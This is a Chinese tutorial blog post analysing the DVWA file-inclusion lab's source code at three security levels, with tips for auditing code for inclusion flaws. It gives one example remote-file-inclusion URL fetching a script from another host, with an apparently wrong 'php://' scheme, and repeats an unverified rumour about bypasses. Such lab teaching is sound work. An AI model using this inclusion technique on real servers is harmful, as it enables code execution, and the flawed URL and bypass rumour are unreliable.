溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

DVWA系列之16 文件包含漏洞挖掘與防御

發(fā)布時間:2020-06-08 17:11:04 來源:網(wǎng)絡(luò) 閱讀:3373 作者:yttitan 欄目:安全技術(shù)

下面我們來分析一下DVWA中文件包含漏洞的源碼。

首先文件包含的主頁面是D:\AppServ\www\dvwa\vulnerabilities\fi\index.php文件,文件中的主要代碼部分:

DVWA系列之16 文件包含漏洞挖掘與防御

在這段代碼中,首先使用switch語句根據(jù)用戶選擇的安全級別,分別將low.php、medium.php、high.php賦值給變量$vulnerabilityFile,接下來使用require_once函數(shù)來包含用戶所選擇的頁面,最后用include函數(shù)來包含變量$file。

變量$file正是來自于low.php、medium.php、high.php。

在low.php中,以GET方式獲取用戶通過page參數(shù)傳來的數(shù)據(jù),并賦值給變量$file,可以看到這里對page參數(shù)沒有進行任何的過濾處理。

DVWA系列之16 文件包含漏洞挖掘與防御

在medium.php中,通過str_replace()函數(shù)將用戶傳來的數(shù)據(jù)進行了替換,主要是將http://和https://都替換成了空,這里主要是為了防止遠程文件包含。

DVWA系列之16 文件包含漏洞挖掘與防御

我們之前所使用的文件包含都是包含目標服務(wù)器上的本地文件,因而稱為本地文件包含LFI,其實也可以包含遠程服務(wù)器上的文件,比如http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://192.168.80.132/info.php,這稱為遠程文件包含RFI。很明顯RFI的威力更強,但要能實施RFI的前提是要保證PHP中的兩項參數(shù)allow_url_fopen和 allow_url_include處于開啟狀態(tài),這兩項參數(shù)默認狀態(tài)下都是關(guān)閉的,因而RFI多半是執(zhí)行不了。據(jù)說可以通過“zlib://”和“ogg://”等方式繞過,但是我目前還沒有查找到相關(guān)資料,也沒有驗證,這個問題就暫且擱置吧。

總之,medium對LFI沒有任何的影響,因而之前所使用的文件包含操作都可以執(zhí)行。

最后看下high.php,這里用if語句來判斷用戶輸入的數(shù)據(jù)是否是inlude.php,如果不是則直接報錯退出,其實也就是指定了只允許包含include.php文件。這是最為安全的一種防御措施,當(dāng)然實踐中可能會有多個文件需要用戶來選擇,那么也只需要多進行幾次判斷即可。經(jīng)過這樣的設(shè)計,也就不存在文件包含漏洞了。

DVWA系列之16 文件包含漏洞挖掘與防御

文件包含漏洞挖掘的思路跟之前一樣,仍是搜索include()、include_once()、require()和require_once()這些函數(shù),并且觀察這些函數(shù)所包含的內(nèi)容是否可以由用戶控制,并是否采取了防御措施。

比如在下面這段代碼中,include_once()函數(shù)中包含了變量$lang,而這個變量可以由用戶輸入且沒有經(jīng)過任何的處理,因而這里就產(chǎn)生了文件包含漏洞。

DVWA系列之16 文件包含漏洞挖掘與防御

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI